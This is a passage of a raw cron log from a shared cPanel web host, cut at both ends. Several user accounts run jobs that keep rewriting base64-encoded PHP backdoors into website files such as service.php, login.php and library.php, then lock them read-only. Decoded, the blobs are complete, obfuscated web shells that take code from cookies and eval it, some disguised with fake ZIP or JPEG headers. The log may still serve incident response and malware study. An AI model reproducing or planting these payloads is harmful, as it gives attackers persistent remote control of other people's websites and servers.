X3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:13:01 medusa CROND[24260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:13:01 medusa CROND[24261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:13:01 medusa CROND[24262]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:13:01 medusa CROND[24263]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 10:13:01 medusa CROND[24265]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:14:01 medusa CROND[26189]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:14:01 medusa CROND[26190]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:14:01 medusa CROND[26191]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:14:01 medusa CROND[26192]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:14:01 medusa CROND[26195]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:14:01 medusa CROND[26194]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:14:01 medusa CROND[26193]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:14:01 medusa CROND[26202]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:14:01 medusa CROND[26201]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:14:01 medusa CROND[26205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:14:01 medusa CROND[26204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:14:01 medusa CROND[26209]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:14:01 medusa CROND[26208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:15:01 medusa CROND[28042]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:15:01 medusa CROND[28052]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:15:01 medusa CROND[28055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28058]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:15:01 medusa CROND[28057]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:15:01 medusa CROND[28060]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:15:01 medusa CROND[28061]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:15:01 medusa CROND[28063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:15:01 medusa CROND[28066]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:15:01 medusa CROND[28068]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:15:01 medusa CROND[28069]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:15:01 medusa CROND[28062]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28080]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:15:01 medusa CROND[28081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28082]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:15:01 medusa CROND[28083]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28084]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhv